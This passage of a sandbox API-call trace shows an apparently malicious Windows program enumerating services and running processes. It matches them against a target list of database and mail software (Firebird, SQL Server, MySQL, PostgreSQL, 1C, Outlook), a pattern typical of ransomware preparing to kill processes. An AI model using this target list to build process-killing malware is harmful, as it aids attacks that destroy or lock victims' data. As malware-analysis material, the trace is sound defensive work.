lpString2="gpsvc") returned 1 [0053.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.816] lstrlenW (lpString="iphlpsvc") returned 8 [0053.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.816] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.816] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.816] lstrlenW (lpString="LanmanServer") returned 12 [0053.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.816] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.816] lstrlenW (lpString="lmhosts") returned 7 [0053.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.817] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.817] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.817] lstrlenW (lpString="MMCSS") returned 5 [0053.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.817] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.817] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.817] lstrlenW (lpString="MpsSvc") returned 6 [0053.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.817] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.817] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.817] lstrlenW (lpString="Netman") returned 6 [0053.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.818] lstrlenW (lpString="netprofm") returned 8 [0053.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.818] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.818] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.818] lstrlenW (lpString="NlaSvc") returned 6 [0053.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.818] lstrlenW (lpString="nsi") returned 3 [0053.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.818] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.818] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.819] lstrlenW (lpString="PcaSvc") returned 6 [0053.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.819] lstrlenW (lpString="PlugPlay") returned 8 [0053.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.820] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.820] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.820] lstrlenW (lpString="Power") returned 5 [0053.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.820] lstrlenW (lpString="ProfSvc") returned 7 [0053.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.820] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.820] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.820] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.820] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.820] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.821] lstrlenW (lpString="RpcSs") returned 5 [0053.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.821] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.821] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.821] lstrlenW (lpString="SamSs") returned 5 [0053.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.821] lstrlenW (lpString="Schedule") returned 8 [0053.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.821] lstrlenW (lpString="SENS") returned 4 [0053.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.822] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.822] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.822] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.822] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.822] lstrlenW (lpString="Spooler") returned 7 [0053.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.822] lstrlenW (lpString="sppsvc") returned 6 [0053.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0053.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0053.822] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0053.822] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0053.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0053.823] lstrlenW (lpString="SysMain") returned 7 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.823] lstrlenW (lpString="Themes") returned 6 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.823] lstrlenW (lpString="TrkWks") returned 6 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.823] lstrlenW (lpString="UxSms") returned 5 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.824] lstrlenW (lpString="VSS") returned 3 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.824] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.824] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.825] lstrlenW (lpString="WinDefend") returned 9 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0053.825] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.825] lstrlenW (lpString="Winmgmt") returned 7 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.825] lstrlenW (lpString="wscsvc") returned 6 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0053.826] lstrlenW (lpString="wuauserv") returned 8 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0053.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e1c0 | out: hHeap=0x5c0000) returned 1 [0053.826] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0053.833] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.834] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.837] lstrlenW (lpString="System") returned 6 [0053.837] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.838] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.838] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.838] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.838] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.838] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.838] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.838] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.839] lstrlenW (lpString="smss.exe") returned 8 [0053.839] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.839] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.839] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.840] lstrlenW (lpString="csrss.exe") returned 9 [0053.840] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.841] lstrlenW (lpString="wininit.exe") returned 11 [0053.841] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.842] lstrlenW (lpString="csrss.exe") returned 9 [0053.842] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.843] lstrlenW (lpString="winlogon.exe") returned 12 [0053.844] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.845] lstrlenW (lpString="services.exe") returned 12 [0053.845] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.846] lstrlenW (lpString="lsass.exe") returned 9 [0053.846] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.847] lstrlenW (lpString="lsm.exe") returned 7 [0053.847] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.848] lstrlenW (lpString="svchost.exe") returned 11 [0053.848] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.849] lstrlenW (lpString="svchost.exe") returned 11 [0053.849] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.017] lstrlenW (lpString="svchost.exe") returned 11 [0054.017] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.018] lstrlenW (lpString="svchost.exe") returned 11 [0054.018] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.019] lstrlenW (lpString="svchost.exe") returned 11 [0054.019] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.020] lstrlenW (lpString="audiodg.exe") returned 11 [0054.020] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.021] lstrlenW (lpString="svchost.exe") returned 11 [0054.021] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.022] lstrlenW (lpString="svchost.exe") returned 11 [0054.022] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.023] lstrlenW (lpString="dwm.exe") returned 7 [0054.023] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.024] lstrlenW (lpString="explorer.exe") returned 12 [0054.024] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.025] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.025] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.026] lstrlenW (lpString="taskhost.exe") returned 12 [0054.026] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.027] lstrlenW (lpString="svchost.exe") returned 11 [0054.027] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.028] lstrlenW (lpString="taskeng.exe") returned 11 [0054.028] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.029] lstrlenW (lpString="taskhost.exe") returned 12 [0054.029] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.030] lstrlenW (lpString="svchost.exe") returned 11 [0054.030] Process32NextW 